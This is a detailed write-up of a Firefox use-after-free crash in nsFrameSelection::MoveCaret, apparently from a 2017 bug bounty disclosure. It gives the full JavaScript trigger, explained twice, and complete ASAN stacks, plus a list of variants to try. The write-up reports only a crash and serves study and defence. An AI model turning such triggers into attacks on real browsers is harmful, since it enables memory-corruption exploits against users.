js::CrossCompartmentWrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /home/worker/workspace/build/src/js/src/proxy/CrossCompartmentWrapper.cpp:353:14
SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:972:8 in nsFrameSelection::MoveCaret(nsDirection, bool, nsSelectionAmount, nsFrameSelection::CaretMovementStyle) Shadow bytes around the buggy address: 0x0c2280056870: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa 0x0c2280056880: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c2280056890: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c22800568a0: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa 0x0c22800568b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd =>0x0c22800568c0: fd fd fd fd fd fd fd[fd]fd fd fd fd fd fa fa fa 0x0c22800568d0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c22800568e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c22800568f0: 00 fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c2280056900: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c2280056910: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==19751==ABORTING
Context
This is a crash report against Firefox, filed in the Mozilla bug bounty programme and disclosed on 23 March 2017. The affected component is the DOM selection code, specifically nsFrameSelection::MoveCaret in layout/generic/nsSelection.cpp. The weakness class is use after free, and the report is rated high severity.
nsFrameSelection is the layout-side object that tracks a selection inside a frame. MoveCaret is the routine that moves the caret in a given direction by a given selection amount, and it is reached from editor commands such as the selection movement commands. The crash happens when that routine reads a frame that has already been freed.
Setup
The testcase needs the fuzzPriv extension, which exposes privileged helpers to page script: fuzzPriv.trustedKeyEvent to synthesise a trusted key event and fuzzPriv.CC to force a cycle collection. The crash was observed on the latest ASAN build of Firefox at the time, running the content process (thread T0 (Web Content)). The report gives no other version information.
Finding it
The researcher reports that the latest ASAN build crashes when loading the testcase. The trigger is a combination of an iframe whose document is replaced by a data URL, a textarea inserted into that document and focused, a resize of the iframe to a negative height, and a trusted key event for key code 35 (the End key) dispatched at the document element. The resize handler then restyles the element, starts an animation, and forces two cycle collections.
Exploitation
Step 1: create the iframe and load a data URL
cript>
function start() {
o1=document.createElement('iframe');
o1.src="data:text/html,<div>";
o1.addEventListener('load', fun0,false);
document.body.appendChild(o1);
}
The page creates an iframe pointing at data:text/html,<div> and registers fun0 as its load handler. The opening tag of the script element is truncated in the report text as cript>; the body of the testcase is otherwise as shown.
Step 2: insert and focus a textarea, then arm the resize handler
function fun0() {
a=o1.contentDocument.documentElement;
o91=document.createElement('textarea');
a.appendChild(o91);
a.style.position='absolute';
o91.focus();
o1.contentWindow.onresize=fun1;
o1.height='-8px';
fuzzPriv.trustedKeyEvent(a,'press',false,false,true,false,35,0);
}
Once the iframe has loaded, fun0 grabs the iframe document's root element, appends a textarea to it, makes the root absolutely positioned, and focuses the textarea. Focusing the textarea is what causes the text control frame and its anonymous content to be created, which is where the later-freed object is allocated. It then installs fun1 as the iframe window's resize handler, sets the iframe height to -8px (which triggers the resize), and dispatches a trusted key press with key code 35 through fuzzPriv.trustedKeyEvent.
Step 3: restyle, animate and collect cycles in the resize handler
function fun1() {
a.setAttribute('style','right:auto;');
a.animate([{textShadow: ''},{textShadow: '',}],20);
fuzzPriv.CC();
fuzzPriv.CC();
}
The resize handler rewrites the root element's style attribute, starts a short animation on it, and calls fuzzPriv.CC() twice to force cycle collection. The free stack shows the object released by the cycle collector during the forced collections.
Step 4: the crash
The ASAN report is a heap-use-after-free, a READ of size 8, in the content process:
==19751==ERROR: AddressSanitizer: heap-use-after-free on address 0x6110002f4638 at pc 0x7fc2c18ef7ec bp 0x7fff28c6f7b0 sp 0x7fff28c6f7a8
READ of size 8 at 0x6110002f4638 thread T0 (Web Content)
#0 0x7fc2c18ef7eb in nsFrameSelection::MoveCaret(nsDirection, bool, nsSelectionAmount, nsFrameSelection::CaretMovementStyle) /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:972:8
#1 0x7fc2c0ee9be3 in mozilla::SelectionMoveCommands::DoCommand(char const*, nsISupports*) /home/worker/workspace/build/src/editor/libeditor/EditorCommands.cpp:892:14
#2 0x7fc2bf247366 in nsControllerCommandTable::DoCommand(char const*, nsISupports*) /home/worker/workspace/build/src/dom/commandhandler/nsControllerCommandTable.cpp:147:10
#3 0x7fc2bf23dd2a in nsBaseCommandController::DoCommand(char const*) /home/worker/workspace/build/src/dom/commandhandler/nsBaseCommandController.cpp:136:10
#4 0x7fc2c091c3a8 in nsXBLPrototypeHandler::DispatchXBLCommand(mozilla::dom::EventTarget*, nsIDOMEvent*) /home/worker/workspace/build/src/dom/xbl/nsXBLPrototypeHandler.cpp:498:5
#5 0x7fc2c08f2fbf in nsXBLPrototypeHandler::ExecuteHandler(mozilla::dom::EventTarget*, nsIDOMEvent*) /home/worker/workspace/build/src/dom/xbl/nsXBLPrototypeHandler.cpp:221:12
#6 0x7fc2c0938fc8 in nsXBLWindowKeyHandler::WalkHandlersAndExecute(nsIDOMKeyEvent*, nsIAtom*, nsXBLPrototypeHandler*, unsigned int, mozilla::dom::IgnoreModifierState const&, bool, bool*) /home/worker/workspace/build/src/dom/xbl/nsXBLWindowKeyHandler.cpp:755:19
The top frame is nsFrameSelection::MoveCaret at nsSelection.cpp:972. Below it, the call chain runs through mozilla::SelectionMoveCommands::DoCommand in EditorCommands.cpp, the controller command table, and the XBL key handler that dispatches the command for the synthesised key event. The summary line names the same location:
SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:972:8 in nsFrameSelection::MoveCaret(nsDirection, bool, nsSelectionAmount, nsFrameSelection::CaretMovementStyle)
The freed region is 232 bytes, and the faulting address sits 184 bytes inside it:
0x6110002f4638 is located 184 bytes inside of 232-byte region [0x6110002f4580,0x6110002f4668)
The free stack shows the object being released by the cycle collector:
freed by thread T0 (Web Content) here:
#0 0x4b2b2b in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
#1 0x7fc2ba9a7344 in SnowWhiteKiller::~SnowWhiteKiller() /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2664:9
#2 0x7fc2ba9a6f36 in nsCycleCollector::FreeSnowWhite(bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2839:3
#3 0x7fc2ba9ae2f5 in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3839:3
#4 0x7fc2ba9adab0 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3661:9
#5 0x7fc2ba9b0994 in nsCycleCollector_collect(nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4157:3
#6 0x7fc2bd6cea00 in nsJSContext::CycleCollectNow(nsICycleCollectorListener*, int) /home/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1452:3
#7 0x7fc2bd2273fd in nsDOMWindowUtils::CycleCollect(nsICycleCollectorListener*, int) /home/worker/workspace/build/src/dom/base/nsDOMWindowUtils.cpp:1339:3
The allocation stack shows where the object came from: the text editor state bound to the text control frame, created as anonymous content when the textarea was focused.
previously allocated by thread T0 (Web Content) here:
#0 0x4b2e4b in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
#1 0x4e11bd in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17
#2 0x7fc2bf7c05f0 in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12
#3 0x7fc2bf7c05f0 in nsTextEditorState::BindToFrame(nsTextControlFrame*) /home/worker/workspace/build/src/dom/html/nsTextEditorState.cpp:1170
#4 0x7fc2c1a0d804 in nsTextControlFrame::CreateAnonymousContent(nsTArray<nsIAnonymousContentCreator::ContentInfo>&) /home/worker/workspace/build/src/layout/forms/nsTextControlFrame.cpp:337:17
#5 0x7fc2c1560d07 in nsCSSFrameConstructor::GetAnonymousContent(nsIContent*, nsIFrame*, nsTArray<nsIAnonymousContentCreator::ContentInfo>&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4224:17
The allocation path continues up through frame construction and restyling, and the focus call that started it:
#15 0x7fc2c1576672 in nsCSSFrameConstructor::RecreateFramesForContent(nsIContent*, bool, nsCSSFrameConstructor::RemoveFlags, nsIContent**) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:9826
#16 0x7fc2c14a5df9 in mozilla::RestyleManager::ProcessRestyledFrames(nsStyleChangeList&) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:1516:7
#17 0x7fc2c148a3ba in mozilla::GeckoRestyleManager::ComputeAndProcessStyleChange(nsIFrame*, nsChangeHint, mozilla::RestyleTracker&, nsRestyleHint, mozilla::RestyleHintData const&) /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:3516:3
#18 0x7fc2c1489874 in mozilla::GeckoRestyleManager::RestyleElement(mozilla::dom::Element*, nsIFrame*, nsChangeHint, mozilla::RestyleTracker&, nsRestyleHint, mozilla::RestyleHintData const&) /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:152:5
#19 0x7fc2c151787e in ProcessOneRestyle /home/worker/workspace/build/src/layout/base/RestyleTracker.cpp:95:5
#20 0x7fc2c151787e in mozilla::RestyleTracker::DoProcessRestyles() /home/worker/workspace/build/src/layout/base/RestyleTracker.cpp:262
#21 0x7fc2c148dbef in ProcessRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/GeckoRestyleManager.h:386:7
#22 0x7fc2c148dbef in mozilla::GeckoRestyleManager::ProcessPendingRestyles() /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:505
#23 0x7fc2c14dae10 in ProcessPendingRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RestyleManagerInlines.h:44:3
#24 0x7fc2c14dae10 in mozilla::PresShell::DoFlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/PresShell.cpp:4184
#25 0x7fc2bd5e351e in FlushPendingNotifications /home/worker/workspace/build/src/obj-firefox/dist/include/nsIPresShell.h:599:5
#26 0x7fc2bd5e351e in nsDocument::FlushPendingNotifications(mozilla::FlushType) /home/worker/workspace/build/src/dom/base/nsDocument.cpp:8007
#27 0x7fc2bd62bd6e in nsFocusManager::CheckIfFocusable(nsIContent*, unsigned int) /home/worker/workspace/build/src/dom/base/nsFocusManager.cpp:1550:3
#28 0x7fc2bd62840c in nsFocusManager::SetFocusInner(nsIContent*, int, bool, bool) /home/worker/workspace/build/src/dom/base/nsFocusManager.cpp:1180:41
#29 0x7fc2bd62b7ae in nsFocusManager::SetFocus(nsIDOMElement*, unsigned int) /home/worker/workspace/build/src/dom/base/nsFocusManager.cpp:484:3
#30 0x7fc2bd3b892f in mozilla::dom::Element::Focus(mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/base/Element.cpp:311:14
The ASAN shadow bytes around the faulting address mark the region as freed heap (fd), and the report ends with ==19751==ABORTING.
Root cause
The freed object is the text editor state bound to the text control frame, allocated in nsTextEditorState::BindToFrame when the textarea was focused. The cycle collector frees it during the forced collections in the resize handler. The key event dispatched in fun0 is then handled by the XBL key handler, which dispatches a selection move command, and nsFrameSelection::MoveCaret reads the frame that has already been released.
The report does not describe the exact ownership or lifetime mistake in the selection code, only the crash and its stacks. The likely pattern is that the selection object keeps a reference to a frame that the cycle collector can free while the selection still holds it, so the key command path reaches a dangling pointer. The forced cycle collections are what make the free happen at a controlled moment, between the focus and the key handling.
Impact
The crash is a heap-use-after-free in the content process, which is a memory-safety bug. The report does not demonstrate code execution or any other impact beyond the crash, and it does not state whether the freed memory could be reused with attacker-controlled contents.
Fix
What it establishes is the crash location and the sequence that produces it, which is what a fix would need to address: the lifetime of the frame read by nsFrameSelection::MoveCaret relative to cycle collection.
Variants to test
- Replace the End key (key code 35) with other selection movement keys and check whether the same
MoveCaretframe appears in the ASAN stack. - Vary the number of
fuzzPriv.CC()calls in the resize handler; a crash with fewer collections would show the free is easier to reach. - Swap the textarea for other focusable form controls and see whether the allocation stack still points at
nsTextEditorState::BindToFrame. - Remove the animation or the style attribute change in
fun1and check whether the crash still reproduces, to isolate which restyle is required. - Change the iframe height from
-8pxto other values and check whether the resize handler still runs before the key event is handled.
Hunting notes
This kind of bug sits at the boundary between layout, selection and the cycle collector: objects that the selection code holds across a restyle or a collection. The signals are ASAN reports whose free stack goes through SnowWhiteKiller and nsCycleCollector, with an allocation stack in frame construction or text editor state. The report provides an ASAN crash with allocation and free stacks.
What happened, in plain words
A security researcher found a way to make Firefox crash. Not a slow, annoying crash, but a memory-safety crash: the browser tried to read a piece of memory that it had already thrown away. In programming terms this is called a use after free. Imagine you write a note on a piece of paper, throw the paper in the bin, and then later read from that same piece of paper as if it were still on your desk. If someone has since taken the paper and written something else on it, you are now reading their text without knowing it. In a browser, that kind of mistake is a memory-safety bug.
The report was filed in the Mozilla bug bounty programme. A bug bounty programme is a scheme where a software maker pays people to find and report security problems instead of exploiting them. Mozilla is the organisation that makes Firefox. The report was disclosed on 23 March 2017, meaning it was made public on that date. The affected part of Firefox is the code that handles selection, that is, the highlighted text and the blinking text cursor (the caret) you see when you click into a text box. The specific function named in the report is nsFrameSelection::MoveCaret, which lives in a source file called layout/generic/nsSelection.cpp. The weakness class is use after free and the report is rated high severity.
To follow the rest, you need a few ideas from how browsers work:
- DOM: the browser's in-memory model of a web page. Every element on the page (a paragraph, a button, a text box) is an object in this model, and scripts can create, change and remove those objects.
- Frame: the internal layout object Firefox builds for each element so it knows where to draw it on screen. The DOM is the description; frames are the drawing machinery. A selection lives on the frame side, which is why the crash is in a file under
layout/. - Caret: the little blinking line that shows where typing will go.
nsFrameSelection: the layout-side object that keeps track of a selection inside a frame.MoveCaret: the routine that moves the caret in a given direction by a given amount. It is reached when editor commands such as the selection movement commands run.
The crash happens when MoveCaret reads a frame that has already been freed.
Setup
To reproduce the crash, the researcher used a special testcase, a small web page written for the purpose. That testcase needs an extension called fuzzPriv. An extension is an add-on that adds features to the browser. fuzzPriv is a testing add-on that gives ordinary page scripts access to powerful internal helpers that normal web pages never get. Two of those helpers matter here:
fuzzPriv.trustedKeyEvent, which creates a trusted key event. A key event is the browser's internal message saying "a key was pressed". Browsers treat events created by real user input as trusted and events faked by a script as untrusted, and some actions only run for trusted events. This helper lets a script produce a trusted one.fuzzPriv.CC, which forces a cycle collection. A cycle collection is the browser's garbage collector for objects that refer to each other in a loop. Ordinary programs free an object when nothing points at it any more, but two objects can point at each other and keep each other alive forever. The cycle collector finds such loops that are no longer reachable from anything useful and frees them. Think of two people each holding the other's coat and refusing to let go; the cycle collector is the person who works out that neither is still in the building and takes both coats away.
The crash was observed on the latest ASAN build of Firefox at the time, running in the content process. ASAN stands for AddressSanitizer, a tool built into a special debugging version of a program. It watches every memory access and shouts immediately when the program touches memory it should not, and it records where that memory was allocated and where it was freed. The content process is the separate process where Firefox runs the actual web page; modern browsers split the page from the rest of the browser so that a page bug is contained. The report gives no other version information.
Finding it
The researcher reports that the latest ASAN build crashes when loading the testcase. The trigger is a combination of several things happening in a particular order:
- An iframe (a web page embedded inside another web page) whose document is replaced by a data URL. A data URL is a way of putting a whole small document directly into a link, starting with
data:text/html,followed by the HTML itself, so no server is involved. - A textarea (a multi-line text box) inserted into that inner document and focused.
- A resize of the iframe to a negative height.
- A trusted key event for key code 35, which is the End key, dispatched at the document element.
The resize handler then restyles the element, starts an animation, and forces two cycle collections.
Exploitation
Step 1: create the iframe and load a data URL
cript>
function start() {
o1=document.createElement('iframe');
o1.src="data:text/html,<div>";
o1.addEventListener('load', fun0,false);
document.body.appendChild(o1);
}
Line by line:
cript>is the tail of the opening<script>tag, truncated in the report text. The body of the testcase is otherwise as shown.function start() {begins a function namedstart. It will be called when the page finishes loading, because the page body hasonload="start()".o1=document.createElement('iframe');asks the DOM to create a new iframe element and stores it in a variable calledo1.o1.src="data:text/html,<div>";sets the iframe's address to a data URL containing a single<div>element. The iframe will therefore show a tiny document with one empty block in it.o1.addEventListener('load', fun0,false);tells the browser: when this iframe finishes loading, call the functionfun0. Thefalseis a standard argument about event handling order that does not matter for this bug.document.body.appendChild(o1);actually puts the iframe into the page. Until an element is added to the document, it is not displayed and its document does not load, so this line is what makes everything else happen.
Why this step: the iframe gives the testcase a second document that the script can manipulate, and the load event gives a reliable moment to start manipulating it.
Step 2: insert and focus a textarea, then arm the resize handler
function fun0() {
a=o1.contentDocument.documentElement;
o91=document.createElement('textarea');
a.appendChild(o91);
a.style.position='absolute';
o91.focus();
o1.contentWindow.onresize=fun1;
o1.height='-8px';
fuzzPriv.trustedKeyEvent(a,'press',false,false,true,false,35,0);
}
Line by line:
function fun0() {begins the function that runs when the iframe has loaded.a=o1.contentDocument.documentElement;reaches into the iframe, gets its document, and takes the document's root element (the outermost element of that inner page). It stores it ina.o91=document.createElement('textarea');creates a textarea element and stores it ino91.a.appendChild(o91);puts the textarea inside the iframe's root element, so it becomes part of the inner page.a.style.position='absolute';changes the root element's CSS so it is positioned absolutely, meaning it is taken out of the normal flow and placed by coordinates. This is a layout change, and layout changes are what force Firefox to rebuild frames.o91.focus();gives the textarea keyboard focus, as if the user had clicked into it. This is the key line for the bug: focusing the textarea causes Firefox to build the text control frame and its anonymous content, the internal pieces a text box needs. That is where the object that is later freed gets allocated.o1.contentWindow.onresize=fun1;installsfun1as the resize handler of the iframe's window, so it will run whenever that inner window changes size.o1.height='-8px';sets the iframe's height to a negative value, which triggers the resize handler.fuzzPriv.trustedKeyEvent(a,'press',false,false,true,false,35,0);sends a trusted key press to the root element. The arguments describe the event; the35is the key code for the End key, and thetruein the modifier positions is what the report shows. Because the event is trusted, Firefox's built-in keyboard handling treats it like a real key press and runs the commands bound to that key.
Why this step: the textarea creates the object that will later be freed, the focus makes Firefox build it, the negative height triggers the resize handler at a chosen moment, and the trusted key press starts the keyboard command path that will eventually read the freed object.
Step 3: restyle, animate and collect cycles in the resize handler
function fun1() {
a.setAttribute('style','right:auto;');
a.animate([{textShadow: ''},{textShadow: '',}],20);
fuzzPriv.CC();
fuzzPriv.CC();
}
Line by line:
function fun1() {begins the resize handler.a.setAttribute('style','right:auto;');replaces the root element's style attribute withright:auto;. This is another style change, which makes Firefox restyle and possibly rebuild frames.a.animate([{textShadow: ''},{textShadow: '',}],20);starts a short animation on the root element.fuzzPriv.CC();forces a cycle collection.fuzzPriv.CC();forces a second one.
The free stack shows the object released by the cycle collector during the forced collections.
Why this step: the restyle and animation change the page's layout, and the forced collections release the object.
Step 4: the crash
The ASAN report is a heap-use-after-free, a READ of size 8, in the content process:
==19751==ERROR: AddressSanitizer: heap-use-after-free on address 0x6110002f4638 at pc 0x7fc2c18ef7ec bp 0x7fff28c6f7b0 sp 0x7fff28c6f7a8
READ of size 8 at 0x6110002f4638 thread T0 (Web Content)
#0 0x7fc2c18ef7eb in nsFrameSelection::MoveCaret(nsDirection, bool, nsSelectionAmount, nsFrameSelection::CaretMovementStyle) /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:972:8
#1 0x7fc2c0ee9be3 in mozilla::SelectionMoveCommands::DoCommand(char const*, nsISupports*) /home/worker/workspace/build/src/editor/libeditor/EditorCommands.cpp:892:14
#2 0x7fc2bf247366 in nsControllerCommandTable::DoCommand(char const*, nsISupports*) /home/worker/workspace/build/src/dom/commandhandler/nsControllerCommandTable.cpp:147:10
#3 0x7fc2bf23dd2a in nsBaseCommandController::DoCommand(char const*) /home/worker/workspace/build/src/dom/commandhandler/nsBaseCommandController.cpp:136:10
#4 0x7fc2c091c3a8 in nsXBLPrototypeHandler::DispatchXBLCommand(mozilla::dom::EventTarget*, nsIDOMEvent*) /home/worker/workspace/build/src/dom/xbl/nsXBLPrototypeHandler.cpp:498:5
#5 0x7fc2c08f2fbf in nsXBLPrototypeHandler::ExecuteHandler(mozilla::dom::EventTarget*, nsIDOMEvent*) /home/worker/workspace/build/src/dom/xbl/nsXBLPrototypeHandler.cpp:221:12
#6 0x7fc2c0938fc8 in nsXBLWindowKeyHandler::WalkHandlersAndExecute(nsIDOMKeyEvent*, nsIAtom*, nsXBLPrototypeHandler*, unsigned int, mozilla::dom::IgnoreModifierState const&, bool, bool*) /home/worker/workspace/build/src/dom/xbl/nsXBLWindowKeyHandler.cpp:755:19
This is a stack trace, a list of the function calls that were active at the moment of the crash, newest first. Reading it from the top:
#0is where the crash happened:nsFrameSelection::MoveCaretat line 972 ofnsSelection.cpp. TheREAD of size 8means the program tried to read 8 bytes, the size of a pointer on a 64-bit machine, from an address that ASAN knows is freed.#1is the caller:mozilla::SelectionMoveCommands::DoCommandinEditorCommands.cpp. This is the editor command that moves the selection.#2and#3are the command plumbing: a controller command table and a base command controller, which route a named command to the code that implements it.#4and#5are XBL prototype handler code that dispatches the command for the key event.#6isnsXBLWindowKeyHandler::WalkHandlersAndExecute, which walks the list of handlers for a key event and runs the matching one.
So the chain is: the synthesised End key press is handled by the keyboard handler, which dispatches a selection move command, which reaches MoveCaret, which reads the frame that has already been released. The summary line names the same location:
SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/layout/generic/nsSelection.cpp:972:8 in nsFrameSelection::MoveCaret(nsDirection, bool, nsSelectionAmount, nsFrameSelection::CaretMovementStyle)
The freed region is 232 bytes, and the faulting address sits 184 bytes inside it:
0x6110002f4638 is located 184 bytes inside of 232-byte region [0x6110002f4580,0x6110002f4668)
In other words, the object was a 232-byte block of memory starting at 0x6110002f4580, and the read happened at 0x6110002f4638, which is 184 bytes into that block. The program was not reading the start of the object but a field inside it, which is typical when a structure holds pointers to other things.
The free stack shows the object being released by the cycle collector:
freed by thread T0 (Web Content) here:
#0 0x4b2b2b in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
#1 0x7fc2ba9a7344 in SnowWhiteKiller::~SnowWhiteKiller() /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2664:9
#2 0x7fc2ba9a6f36 in nsCycleCollector::FreeSnowWhite(bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2839:3
#3 0x7fc2ba9ae2f5 in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3839:3
#4 0x7fc2ba9adab0 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3661:9
#5 0x7fc2ba9b0994 in nsCycleCollector_collect(nsICycleCollectorListener*) /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4157:3
#6 0x7fc2bd6cea00 in nsJSContext::CycleCollectNow(nsICycleCollectorListener*, int) /home/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1452:3
#7 0x7fc2bd2273fd in nsDOMWindowUtils::CycleCollect(nsICycleCollectorListener*, int) /home/worker/workspace/build/src/dom/base/nsDOMWindowUtils.cpp:1339:3
This is the second stack trace ASAN records: where the memory was freed. #0 is the actual free call. #1 is SnowWhiteKiller, the part of the cycle collector that destroys objects it has decided are garbage. #2 to #4 are the collection machinery. #6 and #7 show the collection started through nsDOMWindowUtils::CycleCollect. So the forced collections in fun1 are exactly what freed the object.
The allocation stack shows where the object came from: the text editor state bound to the text control frame, created as anonymous content when the textarea was focused.
previously allocated by thread T0 (Web Content) here:
#0 0x4b2e4b in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
#1 0x4e11bd in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17
#2 0x7fc2bf7c05f0 in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12
#3 0x7fc2bf7c05f0 in nsTextEditorState::BindToFrame(nsTextControlFrame*) /home/worker/workspace/build/src/dom/html/nsTextEditorState.cpp:1170
#4 0x7fc2c1a0d804 in nsTextControlFrame::CreateAnonymousContent(nsTArray<nsIAnonymousContentCreator::ContentInfo>&) /home/worker/workspace/build/src/layout/forms/nsTextControlFrame.cpp:337:17
#5 0x7fc2c1560d07 in nsCSSFrameConstructor::GetAnonymousContent(nsIContent*, nsIFrame*, nsTArray<nsIAnonymousContentCreator::ContentInfo>&) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4224:17
This is the third stack trace: where the memory was originally handed out. #0 is malloc, the low-level memory allocator. #1 and #2 are Firefox's wrappers around it. #3 is the important line: nsTextEditorState::BindToFrame allocates the text editor state and binds it to a text control frame. #4 shows that this happened while creating the text control frame's anonymous content, and #5 shows that this was part of frame construction. In plain terms: focusing the textarea made Firefox build the internal pieces of the text box, and one of those pieces is the object that was later freed.
The allocation path continues up through frame construction and restyling, and the focus call that started it:
#15 0x7fc2c1576672 in nsCSSFrameConstructor::RecreateFramesForContent(nsIContent*, bool, nsCSSFrameConstructor::RemoveFlags, nsIContent**) /home/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:9826
#16 0x7fc2c14a5df9 in mozilla::RestyleManager::ProcessRestyledFrames(nsStyleChangeList&) /home/worker/workspace/build/src/layout/base/RestyleManager.cpp:1516:7
#17 0x7fc2c148a3ba in mozilla::GeckoRestyleManager::ComputeAndProcessStyleChange(nsIFrame*, nsChangeHint, mozilla::RestyleTracker&, nsRestyleHint, mozilla::RestyleHintData const&) /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:3516:3
#18 0x7fc2c1489874 in mozilla::GeckoRestyleManager::RestyleElement(mozilla::dom::Element*, nsIFrame*, nsChangeHint, mozilla::RestyleTracker&, nsRestyleHint, mozilla::RestyleHintData const&) /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:152:5
#19 0x7fc2c151787e in ProcessOneRestyle /home/worker/workspace/build/src/layout/base/RestyleTracker.cpp:95:5
#20 0x7fc2c151787e in mozilla::RestyleTracker::DoProcessRestyles() /home/worker/workspace/build/src/layout/base/RestyleTracker.cpp:262
#21 0x7fc2c148dbef in ProcessRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/GeckoRestyleManager.h:386:7
#22 0x7fc2c148dbef in mozilla::GeckoRestyleManager::ProcessPendingRestyles() /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:505
#23 0x7fc2c14dae10 in ProcessPendingRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RestyleManagerInlines.h:44:3
#24 0x7fc2c14dae10 in mozilla::PresShell::DoFlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/PresShell.cpp:4184
#25 0x7fc2bd5e351e in FlushPendingNotifications /home/worker/workspace/build/src/obj-firefox/dist/include/nsIPresShell.h:599:5
#26 0x7fc2bd5e351e in nsDocument::FlushPendingNotifications(mozilla::FlushType) /home/worker/workspace/build/src/dom/base/nsDocument.cpp:8007
#27 0x7fc2bd62bd6e in nsFocusManager::CheckIfFocusable(nsIContent*, unsigned int) /home/worker/workspace/build/src/dom/base/nsFocusManager.cpp:1550:3
#28 0x7fc2bd62840c in nsFocusManager::SetFocusInner(nsIContent*, int, bool, bool) /home/worker/workspace/build/src/dom/base/nsFocusManager.cpp:1180:41
#29 0x7fc2bd62b7ae in nsFocusManager::SetFocus(nsIDOMElement*, unsigned int) /home/worker/workspace/build/src/dom/base/nsFocusManager.cpp:484:3
#30 0x7fc2bd3b892f in mozilla::dom::Element::Focus(mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/base/Element.cpp:311:14
Read from the bottom up, this is the story of the focus() call. #30 is Element::Focus, the JavaScript focus() method. #27 to #29 are the focus manager checking whether the element can take focus. #24 to #26 are the document flushing pending layout and style work so the answer is up to date. #16 to #23 are the restyle manager processing the style changes that flush produced. #15 is RecreateFramesForContent, which throws away old frames and builds new ones. That is how the code ends up in frame construction, which is where the text editor state was allocated.
The ASAN shadow bytes around the faulting address mark the region as freed heap (fd), and the report ends with ==19751==ABORTING.
Shadow bytes around the buggy address:
0x0c2280056870: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
0x0c2280056880: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c2280056890: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c22800568a0: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa
0x0c22800568b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c22800568c0: fd fd fd fd fd fd fd[fd]fd fd fd fd fd fa fa fa
0x0c22800568d0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
